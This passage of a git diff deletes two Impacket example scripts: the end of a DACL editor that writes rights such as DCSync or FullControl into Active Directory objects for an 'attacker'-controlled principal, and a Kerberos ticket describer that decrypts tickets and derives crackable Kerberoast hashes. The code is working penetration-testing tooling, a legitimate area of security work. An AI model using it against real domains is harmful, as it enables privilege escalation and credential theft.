ldaptypes.ACCESS_DENIED_OBJECT_ACE.ACE_TYPE - acedata = ldaptypes.ACCESS_DENIED_OBJECT_ACE() - nace['AceFlags'] = 0x00 - acedata['Mask'] = ldaptypes.ACCESS_MASK() - acedata['Mask']['Mask'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS - acedata['ObjectType'] = string_to_bin(privguid) - acedata['InheritedObjectType'] = b'' - acedata['Sid'] = ldaptypes.LDAP_SID() - acedata['Sid'].fromCanonical(sid) - assert sid == acedata['Sid'].formatCanonical() - # This ACE flag verifes if the ObjectType is valid - acedata['Flags'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT - nace['Ace'] = acedata - logging.debug('Object-specific ACE created.') - return nace - - - - -def parse_args(): - parser = argparse.ArgumentParser(add_help=True, description='Python editor for a principal\'s DACL.') - parser.add_argument('identity', action='store', help='domain.local/username[:password]') - parser.add_argument('-use-ldaps', action='store_true', help='Use LDAPS instead of LDAP') - parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') - parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') - - auth_con = parser.add_argument_group('authentication & connection') - auth_con.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') - auth_con.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') - auth_con.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line') - auth_con.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') - auth_con.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter') - - principal_parser = parser.add_argument_group("principal", description="Object, controlled by the attacker, to reference in the ACE to create or to filter when printing a DACL") - principal_parser.add_argument("-principal", dest="principal_sAMAccountName", metavar="NAME", type=str, required=False, help="sAMAccountName") - principal_parser.add_argument("-principal-sid", dest="principal_SID", metavar="SID", type=str, required=False, help="Security IDentifier") - principal_parser.add_argument("-principal-dn", dest="principal_DN", metavar="DN", type=str, required=False, help="Distinguished Name") - - target_parser = parser.add_argument_group("target", description="Principal object to read/edit the DACL of") - target_parser.add_argument("-target", dest="target_sAMAccountName", metavar="NAME", type=str, required=False, help="sAMAccountName") - target_parser.add_argument("-target-sid", dest="target_SID", metavar="SID", type=str, required=False, help="Security IDentifier") - target_parser.add_argument("-target-dn", dest="target_DN", metavar="DN", type=str, required=False, help="Distinguished Name") - - dacl_parser = parser.add_argument_group("dacl editor") - dacl_parser.add_argument('-action', choices=['read', 'write', 'remove', 'backup', 'restore'], nargs='?', default='read', help='Action to operate on the DACL') - dacl_parser.add_argument('-file', dest="filename", type=str, help='Filename/path (optional for -action backup, required for -restore))') - dacl_parser.add_argument('-ace-type', choices=['allowed', 'denied'], nargs='?', default='allowed', help='The ACE Type (access allowed or denied) that must be added or removed (default: allowed)') - dacl_parser.add_argument('-rights', choices=['FullControl', 'ResetPassword', 'WriteMembers', 'DCSync'], nargs='?', default='FullControl', help='Rights to write/remove in the target DACL (default: FullControl)') - dacl_parser.add_argument('-rights-guid', type=str, help='Manual GUID representing the right to write/remove') - - if len(sys.argv) == 1: - parser.print_help() - sys.exit(1) - - return parser.parse_args() - - -def parse_identity(args): - domain, username, password = utils.parse_credentials(args.identity) - - if domain == '': - logging.critical('Domain should be specified!') - sys.exit(1) - - if password == '' and username != '' and args.hashes is None and args.no_pass is False and args.aesKey is None: - from getpass import getpass - logging.info("No credentials supplied, supply password") - password = getpass("Password:") - - if args.aesKey is not None: - args.k = True - - if args.hashes is not None: - lmhash, nthash = args.hashes.split(':') - else: - lmhash = '' - nthash = '' - - return domain, username, password, lmhash, nthash - - -def init_logger(args): - # Init the example's logger theme and debug level - logger.init(args.ts) - if args.debug is True: - logging.getLogger().setLevel(logging.DEBUG) - # Print the Library's installation path - logging.debug(version.getInstallationPath()) - else: - logging.getLogger().setLevel(logging.INFO) - logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) - - -def get_machine_name(args, domain): - if args.dc_ip is not None: - s = SMBConnection(args.dc_ip, args.dc_ip) - else: - s = SMBConnection(domain, domain) - try: - s.login('', '') - except Exception: - if s.getServerName() == '': - raise Exception('Error while anonymous logging into %s' % domain) - else: - s.logoff() - return s.getServerName() - - -def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, - TGT=None, TGS=None, useCache=True): - from pyasn1.codec.ber import encoder, decoder - from pyasn1.type.univ import noValue - """ - logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. - :param string user: username - :param string password: password for the user - :param string domain: domain where the account is valid for (required) - :param string lmhash: LMHASH used to authenticate using hashes (password is not used) - :param string nthash: NTHASH used to authenticate using hashes (password is not used) - :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication - :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) - :param struct TGT: If there's a TGT available, send the structure here and it will be used - :param struct TGS: same for TGS. See smb3.py for the format - :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False - :return: True, raises an Exception if error. - """ - - if lmhash != '' or nthash != '': - if len(lmhash) % 2: - lmhash = '0' + lmhash - if len(nthash) % 2: - nthash = '0' + nthash - try: # just in case they were converted already - lmhash = unhexlify(lmhash) - nthash = unhexlify(nthash) - except TypeError: - pass - - # Importing down here so pyasn1 is not required if kerberos is not used. - from impacket.krb5.ccache import CCache - from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set - from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS - from impacket.krb5 import constants - from impacket.krb5.types import Principal, KerberosTime, Ticket - import datetime - - if TGT is not None or TGS is not None: - useCache = False - - target = 'ldap/%s' % target - if useCache: - domain, user, TGT, TGS = CCache.parseFile(domain, user, target) - - # First of all, we need to get a TGT for the user - userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) - if TGT is None: - if TGS is None: - tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, - aesKey, kdcHost) - else: - tgt = TGT['KDC_REP'] - cipher = TGT['cipher'] - sessionKey = TGT['sessionKey'] - - if TGS is None: - serverName = Principal(target, type=constants.PrincipalNameType.NT_SRV_INST.value) - tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, - sessionKey) - else: - tgs = TGS['KDC_REP'] - cipher = TGS['cipher'] - sessionKey = TGS['sessionKey'] - - # Let's build a NegTokenInit with a Kerberos REQ_AP - - blob = SPNEGO_NegTokenInit() - - # Kerberos - blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] - - # Let's extract the ticket from the TGS - tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] - ticket = Ticket() - ticket.from_asn1(tgs['ticket']) - - # Now let's build the AP_REQ - apReq = AP_REQ() - apReq['pvno'] = 5 - apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) - - opts = [] - apReq['ap-options'] = constants.encodeFlags(opts) - seq_set(apReq, 'ticket', ticket.to_asn1) - - authenticator = Authenticator() - authenticator['authenticator-vno'] = 5 - authenticator['crealm'] = domain - seq_set(authenticator, 'cname', userName.components_to_asn1) - now = datetime.datetime.utcnow() - - authenticator['cusec'] = now.microsecond - authenticator['ctime'] = KerberosTime.to_asn1(now) - - encodedAuthenticator = encoder.encode(authenticator) - - # Key Usage 11 - # AP-REQ Authenticator (includes application authenticator - # subkey), encrypted with the application session key - # (Section 5.5.1) - encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) - - apReq['authenticator'] = noValue - apReq['authenticator']['etype'] = cipher.enctype - apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator - - blob['MechToken'] = encoder.encode(apReq) - - request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', - blob.getData()) - - # Done with the Kerberos saga, now let's get into LDAP - if connection.closed: # try to open connection if closed - connection.open(read_server_info=False) - - connection.sasl_in_progress = True - response = connection.post_send_single_response(connection.send('bindRequest', request, None)) - connection.sasl_in_progress = False - if response[0]['result'] != 0: - raise Exception(response) - - connection.bound = True - - return True - - -def init_ldap_connection(target, tls_version, args, domain, username, password, lmhash, nthash): - user = '%s\\%s' % (domain, username) - connect_to = target - if args.dc_ip is not None: - connect_to = args.dc_ip - if tls_version is not None: - use_ssl = True - port = 636 - tls = ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version) - else: - use_ssl = False - port = 389 - tls = None - ldap_server = ldap3.Server(connect_to, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls) - if args.k: - ldap_session = ldap3.Connection(ldap_server) - ldap_session.bind() - ldap3_kerberos_login(ldap_session, target, username, password, domain, lmhash, nthash, args.aesKey, kdcHost=args.dc_ip) - elif args.hashes is not None: - ldap_session = ldap3.Connection(ldap_server, user=user, password=lmhash + ":" + nthash, authentication=ldap3.NTLM, auto_bind=True) - else: - ldap_session = ldap3.Connection(ldap_server, user=user, password=password, authentication=ldap3.NTLM, auto_bind=True) - - return ldap_server, ldap_session - - -def init_ldap_session(args, domain, username, password, lmhash, nthash): - if args.k: - target = get_machine_name(args, domain) - else: - if args.dc_ip is not None: - target = args.dc_ip - else: - target = domain - - if args.use_ldaps is True: - try: - return init_ldap_connection(target, ssl.PROTOCOL_TLSv1_2, args, domain, username, password, lmhash, nthash) - except ldap3.core.exceptions.LDAPSocketOpenError: - return init_ldap_connection(target, ssl.PROTOCOL_TLSv1, args, domain, username, password, lmhash, nthash) - else: - return init_ldap_connection(target, None, args, domain, username, password, lmhash, nthash) - - -def main(): - print(version.BANNER) - args = parse_args() - init_logger(args) - - if args.action == 'write' and args.principal_sAMAccountName is None and args.principal_SID is None and args.principal_DN is None: - logging.critical('-principal, -principal-sid, or -principal-dn should be specified when using -action write') - sys.exit(1) - - if args.action == "restore" and not args.filename: - logging.critical('-file is required when using -action restore') - - domain, username, password, lmhash, nthash = parse_identity(args) - if len(nthash) > 0 and lmhash == "": - lmhash = "aad3b435b51404eeaad3b435b51404ee" - - try: - ldap_server, ldap_session = init_ldap_session(args, domain, username, password, lmhash, nthash) - dacledit = DACLedit(ldap_server, ldap_session, args) - if args.action == 'read': - dacledit.read() - elif args.action == 'write': - dacledit.write() - elif args.action == 'remove': - dacledit.remove() - elif args.action == 'flush': - dacledit.flush() - elif args.action == 'backup': - dacledit.backup() - elif args.action == 'restore': - dacledit.restore() - except Exception as e: - if logging.getLogger().level == logging.DEBUG: - traceback.print_exc() - logging.error(str(e)) - - -if __name__ == '__main__': - main() diff --git a/examples/describeTicket.py b/examples/describeTicket.py deleted file mode 100755 index 8fcebb430a..0000000000 --- a/examples/describeTicket.py +++ /dev/null @@ -1,796 +0,0 @@ -#!/usr/bin/env python3 -# Impacket - Collection of Python classes for working with network protocols. -# -# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. -# -# This software is provided under a slightly modified version -# of the Apache Software License. See the accompanying LICENSE file -# for more information. -# -# Description: -# Ticket describer. Parses ticket, decrypts the enc-part, and parses the PAC. -# -# Authors: -# Remi Gascou (@podalirius_) -# Charlie Bromberg (@_nwodtuhs) -# Mathieu Calemard du Gardin (@Dramelac_) - -import logging -import sys -import traceback -import argparse -import datetime -import base64 -from typing import Sequence - -from Cryptodome.Hash import MD4 -from enum import Enum -from binascii import unhexlify, hexlify -from pyasn1.codec.der import decoder - -from impacket import version -from impacket.dcerpc.v5.dtypes import FILETIME, PRPC_SID -from impacket.dcerpc.v5.rpcrt import TypeSerialization1 -from impacket.examples import logger -from impacket.krb5 import constants, pac -from impacket.krb5.asn1 import TGS_REP, EncTicketPart, AD_IF_RELEVANT -from impacket.krb5.ccache import CCache -from impacket.krb5.constants import ChecksumTypes -from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum, string_to_key -from impacket.ldap.ldaptypes import LDAP_SID - -PSID = PRPC_SID - -class User_Flags(Enum): - LOGON_EXTRA_SIDS = 0x0020 - LOGON_RESOURCE_GROUPS = 0x0200 - -# 2.2.1.10 SE_GROUP Attributes -class SE_GROUP_Attributes(Enum): - SE_GROUP_MANDATORY = 0x00000001 - SE_GROUP_ENABLED_BY_DEFAULT = 0x00000002 - SE_GROUP_ENABLED = 0x00000004 - -# 2.2.1.12 USER_ACCOUNT Codes -class USER_ACCOUNT_Codes(Enum): - USER_ACCOUNT_DISABLED = 0x00000001 - USER_HOME_DIRECTORY_REQUIRED = 0x00000002 - USER_PASSWORD_NOT_REQUIRED = 0x00000004 - USER_TEMP_DUPLICATE_ACCOUNT = 0x00000008 - USER_NORMAL_ACCOUNT = 0x00000010 - USER_MNS_LOGON_ACCOUNT = 0x00000020 - USER_INTERDOMAIN_TRUST_ACCOUNT = 0x00000040 - USER_WORKSTATION_TRUST_ACCOUNT = 0x00000080 - USER_SERVER_TRUST_ACCOUNT = 0x00000100 - USER_DONT_EXPIRE_PASSWORD = 0x00000200 - USER_ACCOUNT_AUTO_LOCKED = 0x00000400 - USER_ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0x00000800 - USER_SMARTCARD_REQUIRED = 0x00001000 - USER_TRUSTED_FOR_DELEGATION = 0x00002000 - USER_NOT_DELEGATED = 0x00004000 - USER_USE_DES_KEY_ONLY = 0x00008000 - USER_DONT_REQUIRE_PREAUTH = 0x00010000 - USER_PASSWORD_EXPIRED = 0x00020000 - USER_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x00040000 - USER_NO_AUTH_DATA_REQUIRED = 0x00080000 - USER_PARTIAL_SECRETS_ACCOUNT = 0x00100000 - USER_USE_AES_KEYS = 0x00200000 - -# 2.2.1.13 UF_FLAG Codes -class UF_FLAG_Codes(Enum): - UF_SCRIPT = 0x00000001 - UF_ACCOUNTDISABLE = 0x00000002 - UF_HOMEDIR_REQUIRED = 0x00000008 - UF_LOCKOUT = 0x00000010 - UF_PASSWD_NOTREQD = 0x00000020 - UF_PASSWD_CANT_CHANGE = 0x00000040 - UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0x00000080 - UF_TEMP_DUPLICATE_ACCOUNT = 0x00000100 - UF_NORMAL_ACCOUNT = 0x00000200 - UF_INTERDOMAIN_TRUST_ACCOUNT = 0x00000800 - UF_WORKSTATION_TRUST_ACCOUNT = 0x00001000 - UF_SERVER_TRUST_ACCOUNT = 0x00002000 - UF_DONT_EXPIRE_PASSWD = 0x00010000 - UF_MNS_LOGON_ACCOUNT = 0x00020000 - UF_SMARTCARD_REQUIRED = 0x00040000 - UF_TRUSTED_FOR_DELEGATION = 0x00080000 - UF_NOT_DELEGATED = 0x00100000 - UF_USE_DES_KEY_ONLY = 0x00200000 - UF_DONT_REQUIRE_PREAUTH = 0x00400000 - UF_PASSWORD_EXPIRED = 0x00800000 - UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x01000000 - UF_NO_AUTH_DATA_REQUIRED = 0x02000000 - UF_PARTIAL_SECRETS_ACCOUNT = 0x04000000 - UF_USE_AES_KEYS = 0x08000000 - -# PAC_ATTRIBUTES_INFO Flags code -class Upn_Dns_Flags(Enum): - U_UsernameOnly = 0x00000001 - S_SidSamSupplied = 0x00000002 - -# PAC_ATTRIBUTES_INFO Flags code -class Attributes_Flags(Enum): - PAC_WAS_REQUESTED = 0x00000001 - PAC_WAS_GIVEN_IMPLICITLY = 0x00000002 - - -# Builtin known Windows Group -MsBuiltInGroups = { - "498": "Enterprise Read-Only Domain Controllers", - "512": "Domain Admins", - "513": "Domain Users", - "514": "Domain Guests", - "515": "Domain Computers", - "516": "Domain Controllers", - "517": "Cert Publishers", - "518": "Schema Admins", - "519": "Enterprise Admins", - "520": "Group Policy Creator Owners", - "521": "Read-Only Domain Controllers", - "522": "Cloneable Controllers", - "525": "Protected Users", - "526": "Key Admins", - "527": "Enterprise Key Admins", - "553": "RAS and IAS Servers", - "571": "Allowed RODC Password Replication Group", - "572": "Denied RODC Password Replication Group", - "S-1-1-0": "Everyone", - "S-1-2-0": "Local", - "S-1-2-1": "Console Logon", - "S-1-3-0": "Creator Owner", - "S-1-3-1": "Creator Group", - "S-1-3-2": "Owner Server", - "S-1-3-3": "Group Server", - "S-1-3-4": "Owner Rights", - "S-1-5-1": "Dialup", - "S-1-5-2": "Network", - "S-1-5-3": "Batch", - "S-1-5-4": "Interactive", - "S-1-5-6": "Service", - "S-1-5-7": "Anonymous Logon", - "S-1-5-8": "Proxy", - "S-1-5-9": "Enterprise Domain Controllers", - "S-1-5-10": "Self", - "S-1-5-11": "Authenticated Users", - "S-1-5-12": "Restricted Code", - "S-1-5-13": "Terminal Server User", - "S-1-5-14": "Remote Interactive Logon", - "S-1-5-15": "This Organization", - "S-1-5-17": "IUSR", - "S-1-5-18": "System (or LocalSystem)", - "S-1-5-19": "NT Authority (LocalService)", - "S-1-5-20": "Network Service", - "S-1-5-32-544": "Administrators", - "S-1-5-32-545": "Users", - "S-1-5-32-546": "Guests", - "S-1-5-32-547": "Power Users", - "S-1-5-32-548": "Account Operators", - "S-1-5-32-549": "Server Operators", - "S-1-5-32-550": "Print Operators", - "S-1-5-32-551": "Backup Operators", - "S-1-5-32-552": "Replicators", - "S-1-5-32-554": "Builtin\\Pre-Windows", - "S-1-5-32-555": "Builtin\\Remote Desktop Users", - "S-1-5-32-556": "Builtin\\Network Configuration Operators", - "S-1-5-32-557": "Builtin\\Incoming Forest Trust Builders", - "S-1-5-32-558": "Builtin\\Performance Monitor Users", - "S-1-5-32-559": "Builtin\\Performance Log Users", - "S-1-5-32-560": "Builtin\\Windows Authorization Access Group", - "S-1-5-32-561": "Builtin\\Terminal Server License Servers", - "S-1-5-32-562": "Builtin\\Distributed COM Users", - "S-1-5-32-568": "Builtin\\IIS_IUSRS", - "S-1-5-32-569": "Builtin\\Cryptographic Operators", - "S-1-5-32-573": "Builtin\\Event Log Readers", - "S-1-5-32-574": "Builtin\\Certificate Service DCOM Access", - "S-1-5-32-575": "Builtin\\RDS Remote Access Servers", - "S-1-5-32-576": "Builtin\\RDS Endpoint Servers", - "S-1-5-32-577": "Builtin\\RDS Management Servers", - "S-1-5-32-578": "Builtin\\Hyper-V Administrators", - "S-1-5-32-579": "Builtin\\Access Control Assistance Operators", - "S-1-5-32-580": "Builtin\\Remote Management Users", - "S-1-5-64-10": "NTLM Authentication", - "S-1-5-64-14": "SChannel Authentication", - "S-1-5-64-21": "Digest Authentication", - "S-1-5-80": "NT Service", - "S-1-5-80-0": "All Services", - "S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines", - "S-1-5-113": "Local Account", - "S-1-5-114": "Local Account and member of Administrators group", - "S-1-5-1000": "Other Organization", - "S-1-15-2-1": "All app packages", - "S-1-16-0": "ML Untrusted", - "S-1-16-4096": "ML Low", - "S-1-16-8192": "ML Medium", - "S-1-16-8448": "ML Medium Plus", - "S-1-16-12288": "ML High", - "S-1-16-16384": "ML System", - "S-1-16-20480": "ML Protected Process", - "S-1-16-28672": "ML Secure Process", - "S-1-18-1": "Authentication authority asserted identity", - "S-1-18-2": "Service asserted identity", - "S-1-18-3": "Fresh public key identity", - "S-1-18-4": "Key trust identity", - "S-1-18-5": "Key property MFA", - "S-1-18-6": "Key property attestation", -} - - -def parse_ccache(args): - ccache = CCache.loadFile(args.ticket) - - cred_number = 0 - logging.info('Number of credentials in cache: %d' % len(ccache.credentials)) - - for creds in ccache.credentials: - logging.info('Parsing credential[%d]:' % cred_number) - - rawTicket = creds.toTGS() - decodedTicket = decoder.decode(rawTicket['KDC_REP'], asn1Spec=TGS_REP())[0] - - # Printing the session key - sessionKey = hexlify(rawTicket['sessionKey'].contents).decode('utf-8') - logging.info("%-30s: %s" % ("Ticket Session Key", sessionKey)) - - # Beginning the parsing of the ticket - logging.info("%-30s: %s" % ("User Name", creds['client'].prettyPrint().split(b'@')[0].decode('utf-8'))) - logging.info("%-30s: %s" % ("User Realm", creds['client'].prettyPrint().split(b'@')[1].decode('utf-8'))) - spn = creds['server'].prettyPrint().split(b'@')[0].decode('utf-8') - logging.info("%-30s: %s" % ("Service Name", spn)) - logging.info("%-30s: %s" % ("Service Realm", creds['server'].prettyPrint().split(b'@')[1].decode('utf-8'))) - logging.info("%-30s: %s" % ("Start Time", datetime.datetime.fromtimestamp(creds['time']['starttime']).strftime("%d/%m/%Y %H:%M:%S %p"))) - if datetime.datetime.fromtimestamp(creds['time']['endtime']) < datetime.datetime.now(): - logging.info("%-30s: %s (expired)" % ("End Time", datetime.datetime.fromtimestamp(creds['time']['endtime']).strftime("%d/%m/%Y %H:%M:%S %p"))) - else: - logging.info("%-30s: %s" % ("End Time", datetime.datetime.fromtimestamp(creds['time']['endtime']).strftime("%d/%m/%Y %H:%M:%S %p"))) - if datetime.datetime.fromtimestamp(creds['time']['renew_till']) < datetime.datetime.now(): - logging.info("%-30s: %s (expired)" % ("RenewTill", datetime.datetime.fromtimestamp(creds['time']['renew_till']).strftime("%d/%m/%Y %H:%M:%S %p"))) - else: - logging.info("%-30s: %s" % ("RenewTill", datetime.datetime.fromtimestamp(creds['time']['renew_till']).strftime("%d/%m/%Y %H:%M:%S %p"))) - - flags = [] - for k in constants.TicketFlags: - if ((creds['tktflags'] >> (31 - k.value)) & 1) == 1: - flags.append(constants.TicketFlags(k.value).name) - logging.info("%-30s: (0x%x) %s" % ("Flags", creds['tktflags'], ", ".join(flags))) - keyType = constants.EncryptionTypes(creds["key"]["keytype"]).name - logging.info("%-30s: %s" % ("KeyType", keyType)) - logging.info("%-30s: %s" % ("Base64(key)", base64.b64encode(creds["key"]["keyvalue"]).decode("utf-8"))) - - if spn.split('/')[0] != 'krbtgt': - logging.debug("Attempting to create Kerberoast hash") - kerberoast_hash = None - # code adapted from Rubeus's DisplayTicket() (https://github.com/GhostPack/Rubeus/blob/3620814cd2c5f05e87cddd50211197bd932fec51/Rubeus/lib/LSA.cs) - # if this isn't a TGT, try to display a Kerberoastable hash - if keyType != "rc4_hmac" and keyType != "aes256_cts_hmac_sha1_96": - # can only display rc4_hmac ad it doesn't have a salt. DES/AES keys require the user/domain as a salt, and we don't have - # the user account name that backs the requested SPN for the ticket, no no dice :( - logging.debug("Service ticket uses encryption key type %s, unable to extract hash and salt" % keyType) - elif keyType == "rc4_hmac": - kerberoast_hash = kerberoast_from_ccache(decodedTGS = decodedTicket, spn = spn, username = args.user, domain = args.domain) - elif args.user: - if args.user.endswith("$"): - user = "host%s.%s" % (args.user.rstrip('$').lower(), args.domain.lower()) - else: - user = args.user - kerberoast_hash = kerberoast_from_ccache(decodedTGS = decodedTicket, spn = spn, username = user, domain = args.domain) - else: - logging.error("AES256 in use but no '-u/--user' passed, unable to generate crackable hash") - if kerberoast_hash: - logging.info("%-30s: %s" % ("Kerberoast hash", kerberoast_hash)) - - logging.info("%-30s:" % "Decoding unencrypted data in credential[%d]['ticket']" % cred_number) - spn = "/".join(list([str(sname_component) for sname_component in decodedTicket['ticket']['sname']['name-string']])) - etype = decodedTicket['ticket']['enc-part']['etype'] - logging.info(" %-28s: %s" % ("Service Name", spn)) - logging.info(" %-28s: %s" % ("Service Realm", decodedTicket['ticket']['realm'])) - logging.info(" %-28s: %s (etype %d)" % ("Encryption type", constants.EncryptionTypes(etype).name, etype)) - if not decodedTicket['ticket']['enc-part']['kvno'].isNoValue(): - logging.debug("No kvno in ticket, skipping") - logging.info(" %-28s: %d" % ("Key version number (kvno)", decodedTicket['ticket']['enc-part']['kvno'])) - logging.debug("Handling Kerberos keys") - ekeys = generate_kerberos_keys(args) - - # copypasta from krbrelayx.py - # Select the correct encryption key - try: - logging.debug('Ticket is encrypted with %s (etype %d)' % (constants.EncryptionTypes(etype).name, etype)) - key = ekeys[etype] - logging.debug('Using corresponding key: %s' % hexlify(key.contents).decode('utf-8')) - # This raises a KeyError (pun intended) if our key is not found - except KeyError: - if len(ekeys) > 0: - logging.error('Could not find the correct encryption key! Ticket is encrypted with %s (etype %d), but only keytype(s) %s were calculated/supplied', - constants.EncryptionTypes(etype).name, - etype, - ', '.join([str(enctype) for enctype in ekeys.keys()])) - else: - logging.error('Could not find the correct encryption key! Ticket is encrypted with %s (etype %d), but no keys/creds were supplied', - constants.EncryptionTypes(etype).name, - etype) - return None - - # todo : decodedTicket['ticket']['enc-part'] is handled. Handle decodedTicket['enc-part']? - # Recover plaintext info from ticket - try: - cipherText = decodedTicket['ticket']['enc-part']['cipher'] - newCipher = _enctype_table[int(etype)] - plainText = newCipher.decrypt(key, 2, cipherText) - except InvalidChecksum: - logging.error('Ciphertext integrity failed. Most likely the account password or AES key is incorrect') - if args.salt: - logging.info('Make sure the salt/username/domain are set and with the proper values. In case of a computer account, append a "$" to the name.') - logging.debug('Remember: the encrypted-part of the ticket is secured with one of the target service\'s Kerberos keys. The target service is the one who owns the \'Service Name\' SPN printed above') - return - - logging.debug('Ticket successfully decrypted') - encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0] - sessionKey = Key(encTicketPart['key']['keytype'], bytes(encTicketPart['key']['keyvalue'])) - adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec=AD_IF_RELEVANT())[0] - # So here we have the PAC - pacType = pac.PACTYPE(adIfRelevant[0]['ad-data'].asOctets()) - # parsing every PAC - parsed_pac = parse_pac(pacType, args) - logging.info("%-30s:" % "Decoding credential[%d]['ticket']['enc-part']" % cred_number) - # One section per PAC - for element_type in parsed_pac: - element_type_name = list(element_type.keys())[0] - logging.info(" %-28s" % element_type_name) - # iterate over each attribute of the current PAC - for attribute in element_type[element_type_name]: - value = element_type[element_type_name][attribute] - if isinstance(value, Sequence) and not isinstance(value, str): - # If the value is an array, print as a multiline view for better readability - if len(value) > 0: - logging.info(" %-26s: %s" % (attribute, value[0])) - for subvalue in value[1:]: - logging.info(" "*32+"%s" % subvalue) - else: - logging.info(" %-26s:" % attribute) - else: - logging.info(" %-26s: %s" % (attribute, value)) - - cred_number += 1 - - -def parse_pac(pacType, args): - def PACparseFILETIME(data): - # FILETIME structure (minwinbase.h) - # Contains a 64-bit value representing the number of 100-nanosecond intervals since January 1, 1601 (UTC). - # https://docs.microsoft.com/en-us/windows/win32/api/minwinbase/ns-minwinbase-filetime - dwLowDateTime = data['dwLowDateTime'] - dwHighDateTime = data['dwHighDateTime'] - v_FILETIME = "Infinity (absolute time)" - if dwLowDateTime != 0xffffffff and dwHighDateTime != 0x7fffffff: - temp_time = dwHighDateTime - temp_time <<= 32 - temp_time |= dwLowDateTime - if datetime.timedelta(microseconds=temp_time / 10).total_seconds() != 0: - v_FILETIME = (datetime.datetime(1601, 1, 1, 0, 0, 0) + datetime.timedelta(microseconds=temp_time / 10)).strftime("%d/%m/%Y %H:%M:%S %p") - return v_FILETIME - - - def PACparseGroupIds(data): - groups = [] - for group in data: - groupMembership = {} - groupMembership['RelativeId'] = group['RelativeId'] - groupMembership['Attributes'] = group['Attributes'] - groups.append(groupMembership) - return groups - - - parsed_tuPAC = [] - buff = pacType['Buffers'] - - for bufferN in range(pacType['cBuffers']): - infoBuffer = pac.PAC_INFO_BUFFER(buff) - data = pacType['Buffers'][infoBuffer['Offset']-8:][:infoBuffer['cbBufferSize']] - if infoBuffer['ulType'] == pac.PAC_LOGON_INFO: - type1 = TypeSerialization1(data) - newdata = data[len(type1)+4:] - kerbdata = pac.KERB_VALIDATION_INFO() - kerbdata.fromString(newdata) - kerbdata.fromStringReferents(newdata[len(kerbdata.getData()):]) - parsed_data = {} - parsed_data['Logon Time'] = PACparseFILETIME(kerbdata['LogonTime']) - parsed_data['Logoff Time'] = PACparseFILETIME(kerbdata['LogoffTime']) - parsed_data['Kickoff Time'] = PACparseFILETIME(kerbdata['KickOffTime']) - parsed_data['Password Last Set'] = PACparseFILETIME(kerbdata['PasswordLastSet']) - parsed_data['Password Can Change'] = PACparseFILETIME(kerbdata['PasswordCanChange']) - parsed_data['Password Must Change'] = PACparseFILETIME(kerbdata['PasswordMustChange']) - parsed_data['LastSuccessfulILogon'] = PACparseFILETIME(kerbdata['LastSuccessfulILogon']) - parsed_data['LastFailedILogon'] = PACparseFILETIME(kerbdata['LastFailedILogon']) - parsed_data['FailedILogonCount'] = kerbdata['FailedILogonCount'] - parsed_data['Account Name'] = kerbdata['EffectiveName'] - parsed_data['Full Name'] = kerbdata['FullName'] - parsed_data['Logon Script'] = kerbdata['LogonScript'] - parsed_data['Profile Path'] = kerbdata['ProfilePath'] - parsed_data['Home Dir'] = kerbdata['HomeDirectory'] - parsed_data['Dir Drive'] = kerbdata['HomeDirectoryDrive'] - parsed_data['Logon Count'] = kerbdata['LogonCount'] - parsed_data['Bad Password Count'] = kerbdata['BadPasswordCount'] - parsed_data['User RID'] = kerbdata['UserId'] - parsed_data['Group RID'] = kerbdata['PrimaryGroupId'] - parsed_data['Group Count'] = kerbdata['GroupCount'] - - all_groups_id = [str(gid['RelativeId']) for gid in PACparseGroupIds(kerbdata['GroupIds'])] - parsed_data['Groups'] = ", ".join(all_groups_id) - groups = [] - unknown_count = 0 - # Searching for common group name - for gid in all_groups_id: - group_name = MsBuiltInGroups.get(gid) - if group_name: - groups.append(f"({gid}) {group_name}") - else: - unknown_count += 1 - if unknown_count > 0: - groups.append(f"+{unknown_count} Unknown custom group{'s' if unknown_count > 1 else ''}") - 